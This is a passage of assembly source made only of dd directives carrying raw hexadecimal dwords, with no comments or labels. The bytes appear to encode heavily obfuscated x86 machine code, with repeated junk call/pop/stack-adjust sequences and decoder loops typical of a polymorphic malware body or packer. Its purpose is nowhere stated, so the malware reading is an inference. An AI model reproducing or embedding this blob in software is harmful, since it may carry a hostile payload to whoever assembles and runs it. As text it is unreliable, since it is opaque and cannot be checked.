dd 0C3524200h, 0BCB14652h, 6A911Dh, 0F98D380h, 684h, 0E5BD8B00h
dd 0FF05E21Dh, 0E20AB995h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66750CE5h
dd 315BE381h, 0D97B9h, 0AE900h, 2C740000h, 14668B89h, 364F82D9h
dd 29FCE183h, 0E22A75BDh, 6AFC05h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0FCE1F5C3h, 22071234h
dd 66C02B22h, 5DECF781h, 6AD22Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 37A3CAC3h, 86068638h
dd 60E38134h, 0F6E656Dh, 33ADDFBFh, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 2FDB7FC3h, 912617A5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 11C35343h, 9969892Ah, 8B5768B4h
dd 880D5BF9h, 8B000000h, 0E9958BFEh, 6A05E20Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0E944C351h, 0E156C18h, 1745BD8Bh, 8BFC05E2h, 0E207618Dh
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 19DF63C1h, 0A5D95120h, 0BC1BD89h, 8B5005E2h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6AC35343h, 0BD016BAFh
dd 5E21585h, 2D7DBD8Bh, 0BD8305E2h, 5E20D79h, 63840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0FF77C357h, 9D8BAA31h, 5E213BDh
dd 0B8h, 8D8DFC00h, 5E24C42h, 68C0Fh, 0DF810000h, 45D465E3h
dd 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 1A2861C3h, 0F4E9C00h, 0BD83D9B7h, 5E21B55h
dd 0FA840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0D467C355h, 55BD835Dh
dd 105E21Bh, 4EA840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0FB0EF6C3h, 812B6D59h
dd 8B19BBFDh, 6AE380DEh, 1B55BD83h, 0F0305E2h, 47D86h
dd 1DBD8B00h, 6005E209h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0A2C35545h, 0F202F00Bh, 0D34E799Fh, 9E909h
dd 5DB90000h, 9C4C65E5h, 667D12DAh, 6AD98Ch, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F27F79C3h
dd 97FFED7Ah, 1BE19529h, 0DE8B05E2h, 8104E180h, 9C43FFE7h
dd 319D8B76h, 0A05E20Ch, 71840FC9h, 6A000001h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0F8DC351h, 68Eh, 0E5BD8B00h, 305E20Ah, 0E229B59Dh, 1D858B05h
dd 8905E224h, 0E2003595h, 0A9853305h, 105E22Ah, 0E20D9DB5h
dd 0F9852905h, 9005E223h, 34CEA6BFh, 5E95017h, 9E000000h
dd 9A4FB6B5h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 0FDDA093Fh, 0C4C38166h, 0E8006A0Ah
dd 5, 0E04C296Ah, 32EF80C4h, 2421685Fh, 0DE8D2F4h, 12000000h
dd 0C3FB4873h, 2034BA42h, 917644A2h, 118E0Fh, 0BE80000h
dd 0DB000000h, 6BBD6084h, 0C841575Eh, 5F5F5138h, 0DE240481h
dd 6A2D2ADFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 1BE2C353h, 5765FB2Ah, 0CBD9EF81h
dd 0FF5F5D8Bh, 0E2083995h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BB9C0F70h
dd 5D3F9BDh, 0BB9D8589h, 6A05E5h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0CEB2E3C3h, 1CE98205h
dd 6A000002h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 347C357h, 5C020260h, 0FBF0FA9h
dd 9531DEBFh, 5E215F1h, 0BB95858Bh, 9D8B05E5h, 5E20FA5h
dd 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 4DA328C3h, 0EE9E591h, 97000000h
dd 0BE4570Bh, 7E036562h, 0A567216Bh, 99B58BDFh, 0FC05E5BBh
dd 1549BD8Bh, 858B05E2h, 5E200F9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 6DC35242h, 468A1B82h, 353FE39h
dd 0E21551BDh, 6895B05h, 1D858BF9h, 6A05E224h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 1684C350h, 6A044689h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0F7CAC357h, 0BF963D0Fh
dd 5D779FCBh, 2880F50h, 0B7000000h, 6A9699h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0FF5F37C3h
dd 78F78166h, 13E950h, 812D0000h, 922A806Fh, 5D434BDCh
dd 362178F7h, 311FD1CCh, 95B5FFCAh, 6A05E5BBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0E3FEC351h, 0FED9589h, 816605E2h, 68A48ACBh, 0F0261F84h
dd 481FA8Bh, 0F8E47B24h, 5E8600Fh, 5E000000h, 2ED66EFEh
dd 5FF2BF0Fh, 10E9h, 7B1C3C00h, 0ECC95FB1h, 722EEAC6h
dd 0CBE05984h, 858D61F4h, 5E5BB9Dh, 4D18589h, 0BF6605E2h
dd 66502B15h, 89DEE0BBh, 6A2404h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 1892EEC3h, 2297FACFh, 0EE9h, 4525CF00h, 53AD2E7Fh, 7AC42C41h
dd 8B18CCCFh, 0E21D31BDh, 3995FF05h, 6A05E208h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0F301C356h, 61FC59B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 6FC35242h, 2EFAD41Eh, 66A4D002h, 67BFEB81h
dd 19D58D29h, 85C705E2h, 5E21B55h, 3, 0B73F33BBh, 8185BF6Ch
dd 0BD830BF3h, 5E5BB9Dh, 4F840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0BDC8C351h, 89FD2F43h, 298D317Ah, 305E201h, 0E21B699Dh
dd 37E905h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 305049C3h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 0A59D8BC0h, 6A05E22Fh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 2DDFC357h, 0CC569D88h, 3705BF66h, 1B55BD83h
dd 0F0305E2h, 40485h, 11E900h, 0D3080000h, 0F6DFDAC3h
dd 0D3560A58h, 3B590111h, 838712B4h, 0E5BB9DBDh, 840F0005h
dd 3E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0CC35545h, 0F839A844h, 0E56CC8F5h, 16F5BD8Bh, 0B5FF05E2h
dd 5E5BB9Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 62C35545h, 20C6128Dh, 3B89FC44h, 9E95604h, 0D9000000h
dd 3370C4F2h, 90AF49h, 2D95FF5Bh, 6A05E217h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 96BEC350h, 5ED7D756h, 0F88B416Bh, 0BB91B58Bh, 6A05E5h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 7BB25EC3h, 0EB9BD8Bh, 0DB8005E2h, 106C71Ah, 0BF000100h
dd 19B69286h, 0FA8B6696h, 8B525050h, 50310FDFh, 830F52h
dd 0F000000h, 156FBB31h, 585A4DEFh, 8A96585Ah, 9DB5FFF9h
dd 6605E5BBh, 0FC38F381h, 1E018501h, 95FF05E2h, 5E22BD1h
dd 6E8FCh, 385B0000h, 8E0AA0EAh, 0AE9h, 25BADD00h, 4FA80AC2h
dd 5F5CD6DCh, 0BB91B58Bh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 8B568AC3h, 0E210DD85h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 9D8932BEh, 5E21435h, 0C48689h, 0C7800000h
dd 0E9958BFCh, 0F505E20Bh, 6A04C283h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 5337C350h
dd 0B87AAF53h, 31208AA5h, 0E209418Dh, 618D3105h, 8905E224h
dd 858D2050h, 5E5CE5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 82C35141h, 65E7FABFh, 0B88689B6h, 89000000h
dd 0E21CF5BDh, 6D9D8B05h, 6A05E222h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0AE1985CCh
dd 9DB5FF96h, 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 1D6AC353h, 0BB07913Fh
dd 7E9DBh, 89C90000h, 0FA65234Eh, 0E995FF75h, 6A05E214h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 31CAC350h, 0BF0F848Fh, 1DBD89D9h, 5005E209h
dd 89243489h, 0E2111D85h, 9DB5FF05h, 6A05E5BBh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0D0BEC350h, 2D2195FFh, 83FC05E2h, 0E20089BDh, 840F0005h
dd 23h, 1BE1BD8Bh, 0BF9605E2h, 250A9149h, 0AE950h, 0D480000h
dd 0BD775FBFh, 0C72390E8h, 0BD9D0196h, 0FF05E200h, 0E5BB9DB5h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 11B5290Ah, 0FF05E211h, 0E2041595h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0E0BBDE89h, 0F880AD1Dh, 0B5FF0462h, 5E5BB9Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 98C35141h, 1BBDBD01h
dd 9D2905E2h, 5E20C15h, 0A5995FFh, 6A05E2h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 4190D6C3h
dd 0CE8h, 8E0D1100h, 22AFEB76h, 6C0CA63Ah, 0A1858949h
dd 5F05E200h, 24CDBD83h, 0F0205E2h, 3984h, 0CF816600h
dd 858B4670h, 5E21F35h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 8FC35141h, 946C69A2h, 0A747FE69h, 0C603h
dd 0C85BD23h, 85C705E2h, 5E20CF9h, 0
dd 66DB8166h, 0F2CBE998h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 5138C8C3h, 9B0BAB81h
dd 0E80D4583h, 0Eh, 4DDC3C7Bh, 869005C4h, 4486962Eh, 0BD039A0Ah
dd 5E2193Dh, 6AC18B5Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 5C2EC356h, 8E960D5h
dd 0B2000000h, 9E2150EEh, 8BE31E24h, 0E226959Dh, 858D6105h
dd 5E20E91h, 31A1BD8Bh, 8B9005E2h, 0DE850D9h, 67000000h
dd 1F71C222h, 70556791h, 39F28C3Ah, 6A905Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0A09BCAC3h
dd 6A892B95h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 896056F3h, 0E219C19Dh, 0C6BF6605h
dd 0F5F6116h, 38Ch, 70CF8000h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858996C3h
dd 5E218DDh, 65D2858Dh, 6A05E6h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E9B0E7C3h, 10h, 0BF12FC17h
dd 4FBCBB4Ah, 207635C0h, 4650FD94h, 0BCD07CBFh, 5C08344h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h
dd 0FF110954h, 0F80BB32Bh, 0A9BB5690h, 5B75477Dh, 1E830F50h
dd 0F000000h, 1881h, 13E900h, 0ACDA0000h, 3937AAC6h, 14B4655Dh
dd 0B1220407h, 9DB7C7C0h, 6A907Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 116F18C3h, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0B74A13C3h, 8B5067A6h, 0E2044D9Dh, 6A006A05h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0DF56C357h, 5830F92h, 66000000h, 5902CF81h, 1E2D95FFh
dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0FD0AB9C3h, 53557036h, 0BE758C9h, 0E2199D9Dh
dd 808D8D05h, 6A05E59Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0C12EC353h, 8E9AA192h
dd 0CF81D1FFh, 460C571Eh, 0B9BD83h, 0F0105E2h, 5885h, 0F8BF0F00h
dd 6E9026Ah, 5F000000h, 5192D1E9h, 0CDBB50BBh, 892F44BBh
dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 0F838E9C3h, 1DB2E0EAh, 85896B77h, 5E231B1h
dd 14E995FFh, 0AE905E2h, 8C000000h, 3124C717h, 4AC833C1h
dd 0D85E95Eh, 0E80000h, 5D000000h, 65DCED81h, 8B5305E6h
dd 0E20FCDBDh, 81665F05h, 8B3A8DDBh, 0E215F19Dh, 9E858D05h
dd 8A05E58Eh, 0BF6690FCh, 515016FEh, 5FDF8B66h, 11BD8B90h
dd 6405E22Bh, 35FFh, 89640000h, 25h, 7810F00h, 60000000h
dd 9DB866F5h, 85FF6170h, 5E22329h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 40C35747h, 0E8EA3096h, 9F5C9807h
dd 12E8h, 23744200h, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh
dd 0E80FC175h, 10h, 0E44ACE31h, 0D96755DCh, 9743A5E3h
dd 4B4F6DF5h, 5B5FDF8Bh, 6AD98B66h, 0BD8B60FFh, 5E23081h
dd 0B5FF61F5h, 5E21FD9h, 14B18D89h, 95FF05E2h, 5E2189Dh
dd 0F0E9h, 0DA8B6600h, 665700B0h, 5B6D5DBBh, 9D8B70E6h
dd 5E20D61h, 0BD0971E4h, 5E23125h, 830F613Ch, 0CDh, 24199D89h
dd 0B60F05E2h, 0F78166C8h, 6BAE61Bh, 0BB000000h, 1A083BB5h
dd 9D89C18Bh, 5E22AEDh, 0F04E8C1h, 68Eh, 298D8900h, 6605E21Ah
dd 9ABBE2F7h, 2B125138h, 0DA8B66C8h, 0BD33D18Bh, 5E23109h
dd 2E9h, 8BFB8B00h, 0E22CA985h, 8E905h, 48700000h, 818263CEh
dd 0C0835AF6h, 0FBE78107h, 293D6255h, 0E21971BDh, 0C08305h
dd 0BE9h, 1DEF3D00h, 0E98EB612h, 120BB4F2h, 830FD03Bh
dd 11h, 22E5BD8Bh, 3AE905E2h, 29000000h, 0E22CA585h, 0F58D8B05h
dd 6605E21Bh, 0E399C381h, 0F01E183h, 2084h, 0F5A58300h
dd 0FE05E21Bh, 0EB1B589h, 958905E2h, 5E22CA9h, 8D89D98Ah
dd 5E21821h, 0E9h, 5B58D00h, 6A05E5EAh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6FFBC355h
dd 3E53B45Ah, 0AD7BBBC3h, 6A18EEh, 0FFDE8B66h, 0E20AB995h
dd 0BD9D8B05h, 0B905E21Fh, 0BEDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 12C35040h, 0C2E4F05Dh, 5EBF66h
dd 5E9h, 39E4FD00h, 0E183FD7Ch, 52006AFCh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 796477F0h
dd 66606095h, 63ACCB81h, 23C99D89h, 0F6105E2h, 0FC61F9BFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ACC35343h
dd 0FC8AEEF8h, 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0D22B53C3h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 890F60B3h, 7, 1850Fh, 81FC0000h, 9CC6AED3h
dd 880D4Bh, 958B0000h, 5E20BE9h, 0B810F60h, 0E9000000h
dd 6, 0B2CE69C4h, 0B589600Bh, 5E21B9Dh, 618D8B61h, 6A05E207h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0C40BC353h, 0C8D8CABh, 6830F1Dh, 8B000000h
dd 0E208EDBDh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 4D66C357h, 5237D7B6h, 6EC868BFh
dd 6A5B38h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0D4FABAC3h, 0A7831DE6h, 0BD83B3CFh, 5E20D79h
dd 3F840F00h, 8B000000h, 0B8FBh, 0BD8B0000h, 5E20D05h
dd 4C428D8Dh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 4AD9CCC3h, 4A4FC381h, 0E1FF283Ah
dd 0E719D8Bh, 0BD8305E2h, 5E21B55h, 2E840F00h, 0E9000005h
dd 0Fh, 800C9A2Fh, 0C97D21E1h, 460C40D2h, 51B604DBh, 14E8h
dd 5E4FBA00h, 8CF38853h, 52BA98D5h, 89AC3365h, 4C3B910Bh
dd 0DF81661Ah, 5B5B088Eh, 1B55BD83h, 0F0105E2h, 50784h
dd 0E9515300h, 0Ah, 0B26FA382h, 927595E2h, 5B5F5BCDh, 1B55BD83h
dd 0F0305E2h, 4B186h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0C8A86DC4h, 0BD09F229h
dd 5E21365h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 10AA99C7h, 118BD202h, 13E989h, 89F60000h
dd 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 0D98C66ACh
dd 327D9531h, 0E18005E2h, 13E904h, 4ACB0000h, 0F5DB5D7Fh
dd 570E5AC9h, 0A4FF44F1h, 172B6BD8h, 9D8B609Ch, 5E21025h
dd 17519D89h, 0A6105E2h, 0EF840FC9h, 6A000001h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 94A2C355h, 3D40A9F7h, 8B319C79h, 0E2241D85h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 0DD4875ABh, 2AAA30Fh, 50526374h
dd 9FD9D33h, 5F5F05E2h, 10E8h, 0E1362C00h, 970A7BFFh, 1D071372h
dd 0AB70E7Ah, 6810F8Bh, 8B000000h, 0E21B85BDh, 85335F05h
dd 5E22AA9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0CEC35747h, 64FD2DEh, 105587CDh, 0DB816647h, 5090BBC6h
dd 0FF7B752h, 0D1BB6631h, 50585A61h, 60605250h, 0E2BF6661h
dd 310F61AEh, 0BF665250h, 310FB75Dh, 585A585Ah, 8A525690h
dd 6A5B5FFAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0BD33D501h, 5E20BB9h, 4E8h, 1F03FF00h
dd 0FA8B6600h, 13E950h, 55080000h, 7F594DDBh, 9F881F92h
dd 806A31BFh, 0C07A279Fh, 24448BF6h, 8E904h, 0EEB20000h
dd 249E2150h, 8BE31Eh, 50525250h, 5A310F52h, 310F5F58h
dd 0EC4147BFh, 89585A4Ch, 58042444h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0CFC35242h, 0B860Fh, 6E90000h
dd 3000000h, 814D932Ah, 6800F8Fh, 89000000h, 0E21A458Dh
dd 3995FF05h, 6A05E208h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0CA4DC351h, 8D8D897Fh
dd 8905E205h, 0E5BB9D85h, 85895705h, 5E22261h, 1B6E95Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 62AE2DC3h, 0B8B7FC2Ah, 50EF80F8h, 323D9D8Bh
dd 858B05E2h, 5E5BB95h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 1EC35242h, 7FA9ECDAh, 1800C7A2h, 1000000h
dd 0E223058Dh, 99B58B05h, 8B05E5BBh, 0E223919Dh, 68E0F05h
dd 31000000h, 0E217EDB5h, 0F9858B05h, 6A05E200h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0F660C356h, 0AB64196Bh, 1D31A8ECh, 23E1B529h, 68905E2h
dd 8BD9BF0Fh, 0E2241D85h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 52C7F511h
dd 0B86D94D0h, 0DE9h, 1AB9EB00h, 6A794347h, 0C8173718h
dd 468939BEh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 6005D4EFh, 0FE6E1634h, 0F99D89FEh
dd 9605E230h, 9E9h, 0B8CA0C00h, 0E30BF395h, 665099DFh
dd 966ECEBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 29C35242h, 16BA9427h, 6612EE64h, 3FCCF781h, 0BB95B5FFh
dd 68F905E5h, 0C52E5AEh, 348146B7h, 4DE65124h, 45BD8B0Ch
dd 8D05E217h, 0E5BB9D85h, 123EBF05h, 8B504AE6h, 240489DAh
dd 1D399D89h, 46B305E2h, 83995FFh, 6A05E2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2C0D0FC3h
dd 9BD0FF50h, 0BF61D1D6h, 10B21DB5h, 6E961h, 15670000h
dd 0E1577E57h, 1B5585C7h, 305E2h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894247C3h
dd 0E22CB195h, 9DBD8305h, 5E5BBh, 54840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 179FB0C3h, 0E3815060h, 5022E1B3h, 43E95Bh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 890F82C3h, 6, 19059D23h, 305005E2h, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 0C38166C0h, 10E9A5FDh
dd 0C8000000h, 0F28F8FC2h, 209C92EAh, 27BB337Ah, 0E9B3FC46h
dd 13h, 58F38A6h, 0ED407949h, 255699Dh, 0C7F25A25h, 83D5F819h
dd 0E21B55BDh, 850F0305h, 3A8h, 0DE8h, 743E4A00h, 7A6D2E3Fh
dd 43E152FEh, 0BD8B59F3h, 5E2319Dh, 0DE95Bh, 54B60000h
dd 9C0A7E40h, 0DD20B538h, 83A71F97h, 0E5BB9DBDh, 840F0005h
dd 370h, 0B5FF63B3h, 5E5BB9Dh, 95FFDA8Bh, 5E2172Dh, 9C18589h
dd 0B58B05E2h, 5E5BB91h, 6890F60h, 9000000h, 0E20CFD95h
dd 61D78B05h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 6E8BDC3h, 92000000h
dd 0DC943161h, 0F85FF8A5h, 0BB525050h, 71907981h, 6660310Fh
dd 5A61CB8Bh, 24348958h, 81665660h, 5A85C1C8h, 7ADBD89h
dd 0FF6105E2h, 0E5BB9DB5h, 56DC8A05h, 0D195FF5Fh, 6A05E22Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 772FC357h, 0B531A40Dh, 5E213B9h, 0BB91B58Bh
dd 9D8B05E5h, 5E22619h, 10DD858Bh, 0BD2305E2h, 5E22D6Dh
dd 0C48689h, 8D890000h, 5E231B1h, 0BE9958Bh, 858905E2h
dd 5E20009h, 6A04C283h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 85E5C351h, 0BE351818h
dd 0D0D78166h, 89BD0B8Dh, 8905E20Ah, 6A2050h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8BCEC3h
dd 5E21931h, 5B858DF5h, 6A05E5CEh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8C48C352h
dd 89B9EB98h, 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 235D97DBh, 8B66C182h
dd 6A006AD8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 4E47C351h, 3D5409D1h, 4B77FDA5h
dd 411BD03h, 8B6605E2h, 9DB5FFFAh, 6A05E5BBh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0E0D3C355h, 45D3EC5h, 116BCE40h, 13D59D8Bh, 95FF05E2h
dd 5E214E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0DCC35242h, 0F819D8Bh, 0BF5005E2h, 52733E9Ah, 81243489h
dd 260C0DEFh, 0FF76B712h, 0E5BB9DB5h, 71BD8905h, 0FF05E20Fh
dd 0E22D2195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0FFE7A49Ch, 89BD8321h
dd 5E200h, 45840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 9AA28C3h, 0E204A985h
dd 0DA8B6605h, 0CE950h, 0F93A0000h, 0ECDF504Ch, 25AEA67Ch
dd 3489BD3Eh, 4830F24h, 66000000h, 0FFCC4EBFh, 0E5BB9DB5h
dd 20F38105h, 0FF39EBF9h, 0E2041595h, 22F0BB05h, 0B5FF4F18h
dd 5E5BB9Dh, 142D8589h, 95FF05E2h, 5E20A59h, 0D85BD33h
dd 0BD8305E2h, 5E224CDh, 60840F02h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 32D9C356h, 0E381668Eh, 858BE39Dh, 5E21F35h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 57C35141h, 99AAE817h
dd 0D5D9D0Bh, 0C605E2h, 0FDA8B00h, 680h, 72F78100h, 0C737FF0Dh
dd 0E20CF985h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h
dd 1B04h, 0C3574700h, 85E6CCBDh, 0A6B8759Bh, 0FFF386E9h
dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 5EED33D4h, 94C217E1h, 0F1CEBEBBh, 6AC18B01h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 7EF3C355h, 1B705CDBh, 0FA8BF40h, 9589DBB7h
dd 5E23241h, 8DFFB70Fh, 0E20E9185h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E0F448C6h
dd 890931DCh, 0E2075995h, 0BB665005h, 4891A8Ah, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
